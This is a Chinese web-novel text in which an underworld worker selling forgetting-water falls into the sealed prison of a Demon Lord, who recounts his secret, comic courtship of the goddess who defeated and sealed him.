《忘情水限时半价》
1. 魔尊与上神(1)
“我不是完成任务了吗?为什么不让我回去?”孟梨食将一颗石子奋力打到树干上,质问道。
躲在树后的一缕魂被吓了一跳,趴着树干小心地探出头。
虽说他没有实体,不会被一颗石子砸到,但对方的脸色也太可怕,他下意识就躲在树后。
他也很无奈啊!
“你那叫完成任务?孟婆让你向需要的人售出忘情水,售满一百碗就可以回到地府,结果你呢?”
孟梨食闻言一挑眉,手中的石子一抛一抛的,反问:
“是我售出的忘情水不足一百碗?”
“一百碗倒是有了,可那分明是你为了完成任务敷衍完成的……”
小魂声音越来越少,因为对面的人脸色越来越黑。
最终,他一咬牙,将心里的话一股脑说了出来:
“孟婆说了是向需要的人出售,不是像你这样拿忘情水和一个五岁大的孩子换糖葫芦。
“你知道你做的这些事造成的后果处理起来有多麻烦吗?”
听完孟梨食脸色彻底黑了下来,虽说这么干的人确实是她。
“所以呢?”孟梨食扔掉手中石子,拍了拍沾到的泥土,语气稍微平和。
见对方终于扔了手中石子,小魂松了口气,从树干后飘到孟梨食面前。
“孟婆说了,这次你要把忘情水卖给真正需要它的人,知道买水人的故事,并派我一旁监督。
“直到在卖水途中懂得了世间百情百苦,你才算完成任务,这样方可回到地府。”
“你让我懂得世间百情百苦?”
“不是,不是我,是孟婆说的。”小魂慌忙解释道,都要被对方的脸色吓哭了。
明明他只是个小小的彼岸花圃看守者,怎么就被分配了这么一个监督任务嘛?
他招谁惹谁了。
小魂看向孟梨食的眼神又怕又气,同为地府打工者,你像我一样兢兢业业工作不好吗?
你说你熬个孟婆汤,为什么要作死在里面乱加调料?
这下好了,被扔到人间卖水,好玩了吧?
他在心里叹了口气,就算自己长久待在彼岸花圃,离孟婆府有些距离,也常常听闻孟梨食的“英勇”事迹。
最出名的就是对方研发出的新版孟婆汤,一口下去酸甜苦辣咸五味轰炸,将排队喝汤的魂吓得一哄而散,甚者有魂跑到了他那。
孟婆多次警告,奈何对方不听,安分几天又开始了新的研究,最新版的出了点小差错,直接让孟婆府笼罩在熏天臭味中。
他在彼岸花圃都闻到了。
一想起那味,他就忍不住脸色发白。
“看来我是永远不能再回地府了。”孟梨食突然叹气道。
小魂一听,急了,你不能回我作为监督者也回不了啊,赶忙鼓励道:
“能回的,咱们要有信心,你一定可以懂得世间百情百苦的。”
孟梨食心中嗤笑,不解孟婆降下的惩罚。
身为地府打工者,常常看见悲欢离合中的悲与离,她不更应该断情绝爱,以免受影响吗?
百情百苦,这有什么好感悟的,她在地府见过的情情苦苦何时少过?
她蹲在河边,视线落在粼粼微波上,不由的出神。
就在这时,一束金光忽的冲天而起,光波震得方圆几里皆细微震动起来。
“怎么回事?”孟梨食猛地抬起头,下意识看向小魂,却从对方眼中看出惊愕。
她重看向光源处,半秒后,拔脚朝光源方向奔去。
小魂吓了一跳,他看着光源所处的灵山,越看越觉得眼熟。
“那好像是……”
他猛的反应过来,大啊一声,朝孟梨食喊道:“不能去啊!那个地方不能去!”
可孟梨食早已跑远,根本听不见他的呼喊,小魂无奈,只能含着泪追去。
树木极快在身旁倒退,脚下的震动越发强烈,孟梨食拧紧眉头,感受到越来越强的威压。
那光的灵力波动太强烈了,绝对是一件神器,这等宝物,肯定值钱。
就在孟梨食急速飞奔时,一个人影咻地擦着她划过,劲凤带动她发丝飞扬。
她猛地刹住脚,还未等她定睛看个明白,那道人影忽的转身,直朝她飞奔而来。
这下她看清了,竟然是个人趴在一把金剑上,被剑带着乱飞。
咻——
“救命啊——”
金剑再次从她面前呼啸而过,上面的人发出惨叫。
孟梨食眼睛泛出光芒,没看错的话,那竟是传说中的轩辕剑!
呵呵,我的了。
趁剑再次转弯时,孟梨食双手一抬,一团红色丝线从掌心钻出,迅雷间将连人带剑缠住。
就在她要使力将剑控制住时,一道声音在身后响起——
“梨食,这地方不能去啊!”
她动作一顿,余光中看见小魂气喘吁吁地飘来。
情况紧急,轩辕剑正朝自己刺来,趴在上面的男人双手死死握着剑柄,大喊:
“快让开!”
孟梨食抬起右脚,一脚将赶来的小魂踹飞出去,接着腰部一转,手中红线陡然收紧,猛的将剑一拉。
“啊啊!”
剑上的男人被这股力甩飞出去,一下子撞上刚爬起来的小魂身上,传来两声惨叫。
孟梨食嘴角带笑,这种好东西是她的了,金光闪闪的,想来能换不少钱。
结果还没等她握住剑柄,就听不远处的男人惊呼:
“我的剑!”
话音刚落,剑柄擦手而过,孟梨食眼睁睁看着轩辕剑顺从地飞向男人,眼中流露出不敢置信。
就在轩辕剑即将落入男人手中时,它突然停了下来,剑身颤抖,最后猛的插在地面上。
咔嚓——
金光大亮,大地剧烈震动,周围不少树木瞬时倒下。
比上次震动得更加剧烈。
孟梨食急忙稳住身形,心中疑惑,她隐约记起小魂好像说这个地方不能去……
她猛地反应过来,对了,这个地方封印着那个人!
她一把扑过去握住轩辕剑,正要跑出此地,却在下一秒,一双手抓住她手臂。
“这是我的剑!”男人眉头紧锁。
孟梨食简直咬牙切齿,正要挥手将他打开,地面裂开,失重感袭来。
一条巨大的黑口忽然浮现在地面,把人吞了进去,两人带着一魂就这么掉进黑色巨口。
下面极深,好几秒都没能降落在地面上。
这处空间宽阔无比,阵阵阴风直往上送,吹得脸刀割般的疼。
在离地百米时,孟梨食手指一动,无数条红线随之被召出,条条相接,短短几秒内织成了一个空心球。
身体落在空心球上,被它载着就要缓缓落地。
“啊——”
惊鬼喊叫在头顶响起,孟梨食太阳穴突突跳着,顿有不好预感。
果然,就在她要抬头去看时,一个人影极速往下坠,“啪”的一声落在自己身上。
孟梨食被那突如其来的重量压得整个身体近乎嵌在空心球里,差点吐出来。
空心球在空中晃
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动一下,最终因承受不住两人的重量而极速往下坠去。
小魂极快稳住自己,正要往上飞出去,却见黑口肉眼可见地合拢,再没有一丝光亮。
他走投无路,只得咬牙去找孟梨食,但愿被封印的那位没醒。
空心球在落地瞬间散成无数条红线消失。
孟梨食重重落在地上,加上身上那人重量,被摔得差点喷出血来。
她趴在地上,情形狼狈,手握成拳在地上狠狠一捶,对趴在自己背上的人道:“马上,给我下去!”
“抱歉抱歉,失礼了。”
对方忙爬了起来,左手紧紧握着轩辕剑,朝孟梨食伸出右手,自责道:“实在不好意思,我不是故意的。”
孟梨食无视掉朝自己伸来的手,自顾自爬了起来,拍了拍衣摆上沾的灰尘。
对方尴尬地收回手,“我叫江余客,是个侠客。”
孟梨食依旧没理他,视线在轩辕剑上停顿两秒,忍了忍,还是忍不住问:
“这剑你从哪得的?”
这剑正是之前发出金色光柱,引孟梨食前来的神器。
一想对方抢过自己的剑,江余客将剑抱的更紧了。
“我捡的。”他警惕地回道。
“你哪捡的?”孟梨食瞳孔睁大,为什么我没捡到?
“就一个普通山洞,我进去避雨时在地上看见了。”
江余客认真说着,为了证明自己没有撒谎,还说得特别详细,什么摆在地上啊,能发光便当火把用结果是把剑……
哪知他每说一句,孟梨食瞳孔就睁大一分,直到她实在听不下去,朝对方挥挥手示意他可以闭嘴了。
她恋恋不舍地收回视线,不再去看那把神器宝剑,开始打量四周环境。
这是个广阔的空间,不过只有脚下这面积不过百的实地,实地之外是无尽深渊。
周围有些昏暗,没有一丝光亮透进来,除了石头的灰色再无其他色彩,更有阴风不时从深渊吹来,显得此地更加荒凉阴森。
“这是什么地方啊?”一股不好的预感漫上心头,江余客摸住自己的剑,心里才有了些底。
孟梨食闻声看了他一眼,“你说你是个侠客?”
“对!”
呵,”她轻笑一声,眼里的嫌弃几乎要溢出来,“那你这江湖算是白混了,连这儿都不知道。”
“我……”江余客一噎,“我只是……”
还没等他想出个理由来解释,一道沙哑到极点的声音响起——
“是你吗?你来了?”
两人皆是一惊。
江余客惊讶,没想到此地竟还有第三者,而孟梨食则是惊讶,难道把那个人吵醒了?
孟梨食后退几步,看清了面前景象。
这是个纹饰繁杂的阵法,阵法中央有一高几十米的石柱,石柱上刻有复杂图案,柱前坐有一人,被手腕粗的铁链绑在石柱上。
那人披散着头发,头无力地低垂着,乌发遮住整张脸。
“怎么会有人被绑在这里?”
江余客不知何时凑了上来,站在孟梨食身旁望着面前的人。
那人听见声响,抬起了头,低垂的眼帘缓缓掀起,却在看见孟梨食与江余客的一瞬间愣住,眼神旋即充满寒气。
“你们是谁?”
声音沙哑得好似所有字连在了一起。
江余客被那眼神看得下意识后退一步,有些心悸。
孟梨食则有些不爽那眼神,反瞪了回去。
两人大眼瞪小眼,场面有些微妙,把刚飞下来的小魂吓了一跳。
2. 魔尊与上神(2)
孟梨食虽不想惹面前的人,但也不至于害怕,这世间还没有什么是能让她害怕的。
“你是魔尊?”孟梨食问道,语气却带着坚定。
没等对方回答,江余客先惊讶道:
“他就是魔尊?被封印七百多年的魔尊?他不应该长得青面獠牙,凶神恶煞……”
不知哪几个字刺激到了魔尊,他身体一顿,旋即响起哗啦铁链声,打断江余客的话。
“你什么意思?什么封印七百年?”
江余客不明所以,侧头看了看孟梨食。
孟梨食上前一步,道:
“自上次神魔大战,已经过去七百二十年了,而你,也被封印了七百二十年。”
“不可能!你骗我!你骗我!”
魔尊顿时发了怒,拼命朝孟梨食伸出手。
他要掐住她的脖子,撕烂她的嘴,让她胡说,让她骗我。
“她会来解开封印的,她一定会的。”
魔尊重复说着这句话,看似心中坚信,可孟梨食知道,这不过是自我洗脑罢了。
江余客不解当年神魔大战的秘辛,忍不住向身旁人打听:“‘她’是谁啊?”
孟梨食扫了他一眼,慢悠悠地说:“霜染上神,封印魔尊那位。”
她说完,忍不住嘲讽:“看来阁下行走江湖,是不需要懂这些常识的。”
“我……”江余客再次一噎,“你这人……真的是……”
“她不是有意封我,”魔尊突然打断两人对话,自顾自说着,
“那些神仙在那,她也为难,我知道她只是做做样子,过几日她就会悄悄来给我解封,我知道,我知道。”
孟梨食毫不留情打破他的幻想:“可七百年过去了,她还是没来。”
魔尊一愣,旋即朝孟梨食吼道:
“你什么意思?你知道什么?我和她有情,我看见她封印我时落了泪……”
魔尊渐渐冷静下来,轻声道:“看见她落泪,我心疼,我不愿反抗,任她封印。
“我知道她舍不得封印我,她会来解开封印的。”
孟梨食再一次打破他的幻想:“她在我这买了一碗忘情水。”
一旁的小魂惊得脸都白了,你、你,你为啥要杠呢?那可是魔尊啊!
要死要死。
小魂看了看周围,心里盘算着七百年过去了,不知魔尊是否有实力破开封印,逃出去的几率又有多大。
魔尊彻底被激怒,撑着地摇晃着身体站了起来,铁链松松散散地搭在他身上,发出沉吟。
孟梨食皱眉看他,又看了看封印,顿时了然。
这封印本就不强,只要魔尊想,尽全力便可冲破,那么……下封印的霜染上神是何意?
就在孟梨食出神时,魔尊忽的往前一步掐住她脖子,速度之快令全场的人来不及反应。
魔尊掐住孟梨食脖子高高举起,恶狠狠道:“你卖给她忘情水了?”
小魂被吓傻了,看着松垮的铁链,又看见石柱上的裂痕,懵了。
所以魔尊早就破开封印了?
孟梨食与小魂两级分化,即使被掐住脖子的是她,脸因缺氧而血红的是她,可最不着急的也是她,甚至,她还笑出了声。
魔尊不解,他从未遇到过这般人。
这时,一束金光闪过,从半空中直接劈向掐住孟梨食脖子的手臂。
江余客毕竟是凡人,速度没有灵力加持,被魔尊轻松躲过,但他要的效果已经达成。
手臂一松,孟梨食落了下来,躬着身急促咳嗽。
“轩辕剑?”
魔尊望向使出刚才一击的男子,眉头一皱,有些震惊。
孟梨食侧头去看,有些意外对方竟会出手相助。
小魂这才注意到在场还有第四人。
江余客从挥剑开始就觉得不对,为什么魔尊要这样看着他,之前这个女生也是,他捡的这把剑到底是什么身份?
眼神怪怪的,让他有些不自在。
孟梨食已经习惯了,她回过神,重又看向魔尊。
“你要是心中不爽不如也在我这买一碗水,反正你封印已破,心中有愤再杀上神界就是了。”
孟梨食自认为自己这个提议非常不错,哪知魔尊犹豫了。
孟梨食又是不解又是生气,拔高声音道:
“她都主动饮水了,你也应该饮下,到时什么仇什么恨该结果的就结果了,而且我水卖的也不贵,只要……”
“那情呢?”魔尊突然道。
孟梨食闻言一愣,咽下剩余的话,忽的嗤笑一声,引得魔尊抬起头,死死盯住她。
“喝了忘情水还有什么情?”孟梨食反问。
“不过,我很愿意听你说一下这什么什么情,”孟梨食说着看了小魂一眼,“毕竟这也是我的任务之一。”
小魂别过头,他只是个苦逼的打工者,啥也不知道啥也不会。
魔尊犹豫几秒,开始诉说……
“等等!”孟梨食忽然打断,接着在众人目光下用红线编织一张椅子,舒服地坐了上去。
“感觉故事挺长的,站着怪累的。嗯,好了,你继续。”
众人:“……”
神魔大战打了整整十七年,最后以霜染上神的一脚结束。
霜染上神乃神界第一女战神,法力高强,战功累累,当年神魔大战便是她带兵十万击溃魔军主力军。
最后双方最高将领对战。
魔尊与霜染上神打得难舍难分,却不知为何魔尊在一招之间顿神半刹,被霜染上神抓住机会一脚踹飞百米,直撞上不周山。
至此,神魔大战以神界完胜结束……
“诶,这段历史我知道!”江余客激动地举手。
“我去年还去了不周山,那里有一个大坑,就是魔尊砸的吧!”
孟梨食点头,“看来你还是有点见识的。”
江余客扬扬脖子,不禁得意,忍不住继续道:
“我还知道不过五十年神魔大战又开始了,地点就在……”
“两位……”魔尊又一次打断他的话,语气中透着疲惫,“可以听我把话说完吗?”
这是段只有他知道的故事,被封印的七百年里他一直在回忆,一遍又一遍,现在能说出来,他不想中断。
江余客连忙把话咽下,“不好意思啊,你继续,继续。”
魔尊张了张嘴,回忆着,继续道……
异魔殿内。
魔尊居于高座,右手撑着脸,对下面一群魔激烈讨论此次战事混不在意,只偶尔敷衍答两句“嗯”“有理”此类话。
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“这次完全是失误,老夫认为应该重整军队,势必在百年内再杀上神界,以洗此次战败耻辱!”
魔尊魂游在外,应付道:“嗯。”
另一长得青面獠牙的魔将道:“我军主力军微差神兵是事实,要想血洗此恨,必得先操练魔军。”
“尊主,臣认为此次大战北地魔主未全力出击,不知保存那些兵力意欲何为。”
“你这老不死说什么?此次大战要不是我北地魔军牵制神兵北攻,你们那什么狗屁阵早就被一击击溃!”
“你竟说炼魔困神大阵是狗屁阵!老夫跟你拼了!”
“来啊,每次出事锅都甩我北地魔上,我忍你很久了。”
眼见殿内众魔开始混战,一旁左护法头疼不已,又见魔尊盯着天花板双眼无神,更是叹了口气。
“尊上,尊上!”
“啊?”魔尊回过神,看向左护法,“有事?”
左护法被这问话一咽,看了看大殿内,意思尽在不言中。
有没有事你看不出来?每次战后总结不是你规定的?
魔尊了然,咳嗽两声,但殿内众魔打得实在难舍难分,脏话唾沫满天飞,完全压制了魔尊的咳嗽声。
左护法静静看着魔尊面露尴尬,在心底叹了口气,右脚用力一踩,一股气波在脚下散开,冲击众魔。
众魔一时未反应过来,被气波震得后退几步,这才意识到自己做了什么,忙朝魔尊跪下请罪。
魔尊心中有事,随意挥了挥手让他们起身,起身做总结:
“本座觉得各位说得都有道理,日后如何你们看着办。”
“这怎么行?”左护法第一个不同意。
魔尊不鸟他,继续道:“本座觉得这次大战失败全怪本座……”
一听魔尊要把所有责任揽在自己身上,众魔忙再次跪下,高喊:
“尊上这是什么话?是我带兵无方。”
“不,是我北地魔不够拼命。”
“是老夫的炼魔困仙大阵还有待改进。”
“……”
众魔顿时你一言我一语,急于揪出自身责任,殿内又再次混乱起来。
左护法静静看着,欲言又止,尊上这句话好像起了作用,又好像没起作用。
“都给本座闭嘴。”
魔尊大怒,仅靠威严便震慑住了众人,他现在可没那闲工夫陪这群魔玩舌战。
“本座觉得是自己实力不够就是自己实力不够,你们争什么争?”
众魔耷着脑袋,不敢回话。
魔尊见状,继续道:
“所以本座决定闭关百年,期间大小事务由左右护法代理,好,就这样,若有异议也给本座咽下去!”
话毕,魔尊三步并两步离开,留下众魔面面相觑。
左护法心有不祥预感,悄悄跟了上去。
这不跟不知道,一跟吓一跳。
只见魔尊隐去气息,又拿出半截面具戴上,混入了神界。
左护法震惊了,他左想右想也没想到自家尊上要去神界。
难道是去打探敌情?或者是去暗杀?
左护法想破脑袋也想不出尊上到底想干嘛,想跟去看看吧又因自身实力不够,怕混进神界不出半刻钟就被认出,想来想去,还是决定先回魔界处理战争后事。
3. 魔尊与上神(3)
神界,庆功宴上。
魔尊扶了扶面具,换了一身清色装,寻找着霜染上神的身影,不多时便寻到了。
霜染上神作为此次大战的大功臣,正被众神仙围在其中灌酒。
魔尊轻轻一笑,端起一酒杯朝她走去。
还没走出几步,一人挡在魔尊面前,手持酒杯,脚步虚浮,脸现红晕,明显是喝醉表现。
“这位上神有些面生,不知是哪位?”
魔尊一惊,以为自己被认出,可见对方身形晃个不停,说话透着酒气,又微放下心来,答道:
“在下只是一介小仙。”
“哦,小蛇啊!来,喝一杯。”
这位神仙握着酒杯,高兴地朝魔尊左边伸去,与空气一碰杯。
魔尊:“……”原来是酒鬼一个。
魔尊懒得理他,匆步朝目标人物走去。
这时霜染上神四周已少了许多人,而她本人,正规矩坐在位子上,微低着头,眼神迷离,脸有一丝红晕。
魔尊走了过去,瞧见对方神色,怀疑是不是彻底醉了,伸出手在她眼前晃了晃。
霜染上神微微抬头,只能勉强看见面前人的一点轮廓,使劲眨了眨眼,眯眼去看他。
看来是真醉了。
见状,鬼使神差的,魔尊拟了个女声。
“我敬上神一杯,恭喜上神护我神族,再立赫赫战功。”
霜染上神摩挲了下手中酒杯,她实在喝不下,但既然对方是来恭喜自己的,如此真心实意,又怎能让对方失望。
她举起酒杯,与魔尊的一相碰,道了声谢谢后一饮而尽。
魔尊也一口闷了酒,继续道:
“小仙仰慕上神已久,上神作为神界第一女战神,立下无数战功,仙术高深,在小女子心中一直是不可企及的存在。
“没想到今日竟有缘向上神敬酒,小仙顿觉此生无憾。”
“小仙子谬赞了。”
“小仙只是实话实说,那日上神与魔尊一战,打得昏天黑地、难舍难分,看得小仙心都提起来了,不过我就知道,区区魔尊哪是上神对手。”
出乎意料的,霜染上神摇了摇头,认真道:
“魔尊实力很强,隐在本上神之上,若不是他失神一霎,我未必会赢。”
魔尊一挑眉,没想到她对自己评价还挺高。
“那上神觉得魔尊如何?”
魔尊期待地看着对方,竟感到一丝紧张。
霜染上神认真想了想,回道:“是个难得的对手,实力深不可测,期待与他真正的实力再战。”
“除实力之外呢?”
刚一问完,霜染上神又陷入了沉默。
看来她对自己的评价仅如此,魔尊刚这么想,见对方突然站了起来,朝自己走近,头伸在了自己脖子旁。
微热气息洒在脖子上耳垂上,烫得肌肤顿时红晕。
浓烈的酒气把人包围,思绪霎时混乱起来。
“其实……”霜染上神压低声音道,压根没注意面前这位小仙子身体僵得像块木板,垂下的双手紧张得紧紧握起。
霜染上神回忆了一下那日与魔尊一战的情景,说道:
“魔尊生得十分俊朗,与那些青面獠牙的魔不一样。”
魔尊再也受不住热气喷来,猛的后退几步,捂住发红发烫的耳朵,不可置信地看着她。
脸也紧跟着发烫起来。
……
“那个,这是真的吗?”江余客一脸震惊,凑近孟梨食,用自以为很小实则很大的声音问。
“这是魔尊自恋说的吧?”
他说着,看向已经七百年没有捯饬自己的魔尊,长发纠结如乱麻,脸色惨白不带一丝血气,袍子更是破旧得看不出本色。
他只是一介凡人,不知当年的魔尊是何等风华绝代。
魔尊:“……”
他苍白的脸已经被气出一点血色。
孟梨食一脸看傻子般看向对方,“长得丑不还会易容吗?他连女的都能化,还不能化个帅的?”
“有道理。”
小魂失声尖叫,眼睛瞪得溜圆,孟梨食什么德行他是知道的,只是这个凡人也不一般啊,装得跟真傻一样。
魔尊沉默两秒,选择短暂失聪,继续道……
霜染上神奇怪地看着他,看着看着又觉得哪里不对,往前凑近一步再看看。
魔尊视线飘忽,不禁咽了下口水。
“小仙子长得不错,可愿与本上神一道?”
“一、一道?去哪儿?”魔尊警觉问。
霜染上神没有回答,摇晃着身体走出去几步,顿了顿,再走便看不出酒醉的神态。
魔尊紧跟上去,随着霜染上神走出庆功大殿,又左转右转好一会,来到一处地方。
一见面前殿上门匾,魔尊脸色又红上几分,指着上面的字惊得口齿不清:
“这、这,你带我来瑶池?”
“我在瑶池自有一处泉水,与我一道,进去洗去一身酒气吧。”
“进、进去洗澡!”
轰的一下,魔尊大脑顿时一片空白,却旋即,空白的纸上浮现美人出浴图……
不行不行,魔尊吓得后退几步,把脑子里的东西一股脑甩出去。
霜染上神奇怪地看着他,问:
“你不是仰慕我已久?为何不愿与我一道?同是女子,不必感到害怕不自在。”
“我、我、我……”
魔尊说不清,转身就要跑,结果还没踏出两步,一股力把他控制住。
霜染上神看出来了,这位小仙子真的很害羞啊。
“这样吧。”霜染上神袖子一挥,施了个小仙术。
魔尊感到一阵微风在脸上拂过,旋即,他看不见了。
“你做了什么?为什么我看不见了?”
霜染上神拉住魔尊的手,带他往里走去,解释道:
“我把你眼睛暂时蒙上,这样你就不用害羞了。”
魔尊在脑海里无语道:“你这是什么鬼办法啊?以为看不见就可以不用害羞了吗?
“还有,谁害羞了?本座才不会害羞,也不可能害羞!”
“你仙力不及我,是睁不开的,等浴完我自会给你解开。”
说完,两人来到一处幽静泉水。
泉水上空白雾稀薄,散着微微热气。
池边放着小案,案上备有清茶。
霜染上神脱下外衣搭在屏风上,边脱着,边对魔尊道:
“小仙子不必害羞,脱衣下水吧。”
魔尊听见这句话说完,又响起轻微入水声,脑子里控制不住地脑补出画面。
不行,他不能再待在这里了。
他感到身体热得厉害,鼻子里还流出了热热的液体,慌张之下,一用力,破了霜染上神施的仙术。
结果睁开眼一看,鼻血似瀑布飞泻。
霜染上神脱尽衣裳进入泉中,正背对着岸上梳洗头发,一张肤若凝脂的背毫无遮掩地落入魔尊眼中。
我我我……
魔尊愕然,吓得连连后退,却不小心绊到什么,屁股啪的一声落地。
“怎么了?”
霜染上神问着,眼见就要转身,魔尊赶忙手一挥,狼狈地逃离此地。
“听闻尊上火急火燎地去了冷泉宫,你可知发生了什么?”
左护法摇摇头,他不知道该不该说出尊上潜进神界的事。
右护法自顾自分析道:“尊上不是闭关修炼去了吗?这才多久又出来了,而且冷泉宫向来是静心静气之地,莫非……”
左护法看向右护法,问:“莫非什么?”
“莫非,尊上修炼出了差错?”
左护法知道这不可能,尊上压根没闭关,他暗自思忖,莫非尊上潜进神界被发现,受了重伤?
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可受重伤去冷泉宫干嘛?
思考无果,两人决定去冷泉宫看看。
魔尊匆忙逃离神界,一头扎进冷泉宫里,衣服都没脱,直接跳进冷泉。
霎时,刺骨寒冷透过皮肤直入骨髓,冻得他牙齿直打颤,但好在,脸上红晕也渐渐退下。
魔尊抹去鼻血,把半个脑袋没入水中,只留一双眼睛露在水面,又闭上眼,慢慢调节体内气息,运气调息,压下身体燥热。
每任魔尊都是在上一任魔尊死后,由世间最醇厚的魔气凝聚。
满打满算,这任魔尊也不过是个刚成年不久的男子,平日精力都放在操练魔兵上,这还是第一次近距离看女人解衣衫……
这时两护法来到,见此情景不敢打扰,立在一旁等候。
过了一会,魔尊咻的睁眼,眼里清明,透着一丝寒气。
他察觉到两束熟悉气息,问:“你们来做什么?”
两护法忙跪下,道:“听闻尊上匆忙来了冷泉宫,属下不放心,来看看。”
右护法问:“尊上不是闭关了吗?”
魔尊咳咳两声,道:“闭关前当然要做些准备。”
“尊上需要什么材料,属下这就为尊上寻来。”
魔尊摆摆手,道:“不必,你们好好打理魔界内的事,不必在本座这晃。”
左护法奇怪,为何尊上说话不转过身来。
“尊上受了伤?”
“谁能让本座受伤?”魔尊感到热气完全消退,脸上红晕也消散,便转过身看着还在跪着的二人。
左护法抬头看见尊上无事,心中疑惑更甚。
魔尊朝他们挥挥手,下了逐客令:
“你们一天是不是很闲?魔族事务都打理好了?赶紧给本座滚。”
支走两护法后,魔尊又把身体没入冷泉中,闭上了眼睛。
魔尊出了冷泉宫,感到身体是冷了下来,但胸口还是又热又闷。
莫非瑶池水克魔?
但本座还没碰到水啊!
一想到瑶池,脑内又浮现出其他画面,心口燥热更甚。
没辙没辙,魔尊转身又去了冷泉宫,这一待,就是整整一天。
魔族事务全交给左右护法后,魔尊落了一身轻松,每日待在寝殿无所事事,再不就是待在书房写写画画。
他画技不佳,隐约画了个人形轮廓,再不敢添上细节,生怕毁了画。
霜染上神行踪不定,尤其他在魔界,更是打听不到她在哪,心中不由烦躁。
不对?
魔尊摸着胸口,不明白心中为什么会烦躁。
想不明白,就像他想不明白当日大战正与霜染上身近身相斗时,不就近距离看了对方一眼嘛,心却蓦然一紧,害他失神一霎……
烦躁上面更加烦躁,气得他直接摔笔摔墨,一时之间,魔尊暴怒无常的消息传遍魔界。
传言魔尊输给霜染上神后心有不甘,有了心魔,变得喜怒无常,狂暴残忍。
妖界走在时代前沿,一听这消息,把以往魔尊的丰神俊朗图换成了凶神恶煞图,人间时代变迁快,深信了新版魔尊图。
一日,魔尊隐去身份在魔界闲逛,于嘈杂声中敏锐捕捉到“霜染上神”四字,身体比脑子反应快,凑了上去。
“我真的听说霜染上神去了昆仑灵山,我侄子的朋友的叔叔的远方表妹是只小蛇妖,在昆仑灵山外看见了。”一魔道。
“上次神魔大战你们看见霜染上神真容了吗?”
此话一出,众魔摇头。
“哪儿那么容易看到,你想看就去参魔军,进主力军作战,死前一秒有几率能一睹芳容。”
“说到神魔大战,咱魔界正准备重新攻上神界了你们知道不?”
“俺知道,俺舅舅有个朋友的儿子参了军,说炼魔困神大阵都进行了改良升级。”
魔尊听到关键信息,匆忙去了昆仑灵山下。
4. 魔尊与上神(4)
昆仑灵山未设结界,这里灵气浓郁,不少小妖都愿来此修行。
他再次隐去气息,想起霜染上神说自己长得俊俏的话,又变了个模样,对于模样,一定要俊些,但也不能比真容俊。
昆仑灵山颇大,在此寻人虽不似大海捞针,但也绝非易事,尤其在这魔力不敢用出,容易被发现,只能一步一步走遍整座山头。
暮色晦暝,倦鸟也已归巢。
魔尊开始怀疑那魔得的消息是错的,不然就是在自己来前她已经离开了。
总之他走了整整一天,连个人影都没见到,心中不由颓丧。
魔尊继续往前走去,准备找处地方休憩一会,却在这时,一声虎叫在背后响起,震得大地剧烈抖动。
他猛的转身,还没反应过来就被一只巨型白虎扑倒在地。
巨口近在咫尺,魔尊毫不怀疑这只白虎想咬断自己的脖子。
他手用力抵着白虎粗壮的脖颈,正要使出魔力给这只傻兽爆个头,一声清冷声音响起——
“白将,你抓到什么了?”
是霜染上神!
魔尊大脑极速运转,抵住的力气微微一松,左臂故意送到虎爪前,被深深划了三条血痕。
接着他一脚踢开白虎,朝一旁滚去,恰好滚进来人视野内。
霜染上神见状,忙护到魔尊身前,朝白虎一挥手,将它击退。
“白将,控制你的脾气,别被魔气影响。”
白虎微躬下身,畏惧地后退一步,可看向魔尊的眼神则充满了敌意。
魔尊回瞪,看什么看?有本事你再攻击啊!信不信我像上次大战时那样揍你?
白虎被成功挑衅,一声怒吼震动整座山头。
魔尊被吓得啊了一声,一把抱住霜染上神,身体控制不住地抖动起来。
阴暗处,嘴角则微微翘起,眼睛都弯成了月牙儿。
“白将,回去。”霜染上神命令道。
白虎看看霜染上神,又看看抱住她的虚伪君子,不愿离开。
霜染上神再次道:“你好好休养,我日后再来看你。”说罢扶起魔尊,回到了霜染殿。
魔尊被安置在一张榻上,想起刚才的情景,心里美滋滋的。
霜染上神拿了灵药走来,带着歉意道:“实在对不住,那白虎不久前被魔气侵身,性情变得有些暴躁。”
魔尊咳嗽两声,气若游丝道:“无事,应该是我初来昆仑灵山,犯了些禁忌。”
霜染上神忙坐在塌旁,倒出一颗灵药,喂进他嘴里。
手指轻轻碰到了嘴唇,魔尊一激灵。
“这伤有些严重……”
霜染上神话出一半,魔尊忙打断道:
“无事,我经常受伤,怎能因此劳烦上神。
“虽说我家里无人,离昆仑灵山又远,但应该能在山里挖到些草药,若是又碰到凶兽,不小心死了,也是注定。”
“这事怪我。”霜染上神微低下头。
“怎么能怪上神,是我误入灵山。”魔尊说得急,身体一侧咳出血来。
“你、你别急,我渡些仙气稳住你经脉,你就在我这疗伤,等伤好了我再亲自送你回去。”
闻此,魔尊心里乐开了花,偏面上还得装作十分不好意思的神态,装得他实在辛苦。
“对了,”霜染上神道,“还未问你名字,何方人士。”
魔尊眼骨碌一转,回道:
“我叫离乾,本是一小门派的外门弟子,被人诬陷偷走草药,被赶出宗门,准备越过昆仑灵山回到老家,寻份差事过完余生。”
霜染上神听着,沉默几秒,道:“待你伤好后我为你在昆仑山寻份职位吧。”
“上神待我如此,我……咳咳,无力报答啊!”
“你受伤之事本就怪我,何来报答一说?你只需在此好好静养即可。”
魔尊“离乾”点点头,被感动得无法言语。
至此,魔尊成功在霜染殿内住下。
本以为在这住下后,自己能与霜染上神朝夕相处,结果这位上神比他这位魔尊忙得多,几日也不能见上一面。
离开四日后霜染上神终于回来,魔尊心里又是高兴又是埋怨,一边递上水一边问:“上神怎么这么忙?”
霜染上神身为神界第一女战神,接触的都是神界最高层的事,即使她相信离乾,也不能随意说出。
因此,霜染上神每次都回:“一些小事。”回完总会问:“你伤势如何?身体可有不适?”
魔尊倒希望自己身体非常不适,病情复发,但这具身体素质实在太好,加上有灵药调理,他只能每日破开一点伤口,使不好得那么快,又看起来不会被怀疑。
霜染上神回来后便去了书房处理工作,魔尊端来一盘点心,经他多日观察,发现霜染上神对这款点心尤其喜爱,因此每日都会准备,以备她某日回来。
霜染上神一开始会让他别做这些,让他只需好好养伤就行,可拗不过他犟,便不再多说。
魔尊把点心放下,拿出一只小香囊放在桌上,说:
“我瞧见你最近神色有些差,记得多休息,这是我亲手做的香囊,可安神。”
霜染上神有些惊讶,忙道:“多谢,你不必如此费心,安心养伤就好。”
这毕竟是霜染上神第一次收到别人赠送的香囊,面上虽平静如镜,但心里早已欣喜不已,迫不及待拿起香囊,却在第一眼就愣住了。
她翻面瞧着,不解上面绣得歪歪扭扭的是什么,摩挲两下,摸到了线头。
“这香囊……”
魔尊不好意思地挠挠头,道:“这是我第一次做香囊,卖相不行,但效果绝对可以。”
霜染上神看着对方,有些出乎意料,她收下香囊,再次道谢:“多谢。”
